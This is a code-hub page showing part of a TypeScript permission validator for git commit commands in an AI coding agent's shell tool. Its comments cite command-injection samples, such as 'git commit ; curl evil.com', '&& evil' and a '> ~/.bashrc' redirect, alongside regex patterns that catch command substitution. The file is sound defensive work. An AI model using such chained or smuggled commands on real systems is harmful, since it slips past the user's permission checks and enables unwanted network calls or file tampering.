MCPcopy Create free account
hub / github.com/freecodexyz/free-code / validateGitCommit

Function validateGitCommit

src/tools/BashTool/bashSecurity.ts:612–740  ·  view source on GitHub ↗
(context: ValidationContext)

Source from the content-addressed store, hash-verified

610}
611
612function validateGitCommit(context: ValidationContext): PermissionResult {
613 const { originalCommand, baseCommand } = context
614
615 if (baseCommand !== 'git' || !/^git\s+commit\s+/.test(originalCommand)) {
616 return { behavior: 'passthrough', message: 'Not a git commit' }
617 }
618
619 // SECURITY: Backslashes can cause our regex to mis-identify quote boundaries
620 // (e.g., `git commit -m "test\"msg" && evil`). Legitimate commit messages
621 // virtually never contain backslashes, so bail to the full validator chain.
622 if (originalCommand.includes('\\')) {
623 return {
624 behavior: 'passthrough',
625 message: 'Git commit contains backslash, needs full validation',
626 }
627 }
628
629 // SECURITY: The `.*?` before `-m` must NOT match shell operators. Previously
630 // `.*?` matched anything except `\n`, including `;`, `&`, `|`, `` ` ``, `$(`.
631 // For `git commit ; curl evil.com -m 'x'`, `.*?` swallowed `; curl evil.com `
632 // leaving remainder=`` (falsy → remainder check skipped) → returned `allow`
633 // for a compound command. Early-allow skips ALL main validators (line ~1908),
634 // nullifying validateQuotedNewline, validateBackslashEscapedOperators, etc.
635 // While splitCommand currently catches this downstream, early-allow is a
636 // POSITIVE ASSERTION that the FULL command is safe — which it is NOT.
637 //
638 // Also: `\s+` between `git` and `commit` must NOT match `\n`/`\r` (command
639 // separators in bash). Use `[ \t]+` for horizontal-only whitespace.
640 //
641 // The `[^;&|`$<>()\n\r]*?` class excludes shell metacharacters. We also
642 // exclude `<` and `>` here (redirects) — they're allowed in the REMAINDER
643 // for `--author="Name <email>"` but must not appear BEFORE `-m`.
644 const messageMatch = originalCommand.match(
645 /^git[ \t]+commit[ \t]+[^;&|`$<>()\n\r]*?-m[ \t]+(["'])([\s\S]*?)\1(.*)$/,
646 )
647
648 if (messageMatch) {
649 const [, quote, messageContent, remainder] = messageMatch
650
651 if (quote === '"' && messageContent && /\$\(|`|\$\{/.test(messageContent)) {
652 logEvent('tengu_bash_security_check_triggered', {
653 checkId: BASH_SECURITY_CHECK_IDS.GIT_COMMIT_SUBSTITUTION,
654 subId: 1,
655 })
656 return {
657 behavior: 'ask',
658 message: 'Git commit message contains command substitution patterns',
659 }
660 }
661
662 // SECURITY: Check remainder for shell operators that could chain commands
663 // or redirect output. The `.*` before `-m` in the regex can swallow flags
664 // like `--amend`, leaving `&& evil` or `> ~/.bashrc` in the remainder.
665 // Previously we only checked for $() / `` / ${} here, missing operators
666 // like ; | & && || < >.
667 //
668 // `<` and `>` can legitimately appear INSIDE quotes in --author values
669 // like `--author="Name <email>"`. An UNQUOTED `>` is a shell redirect

Callers

nothing calls this directly

Calls 1

logEventFunction · 0.85

Tested by

no test coverage detected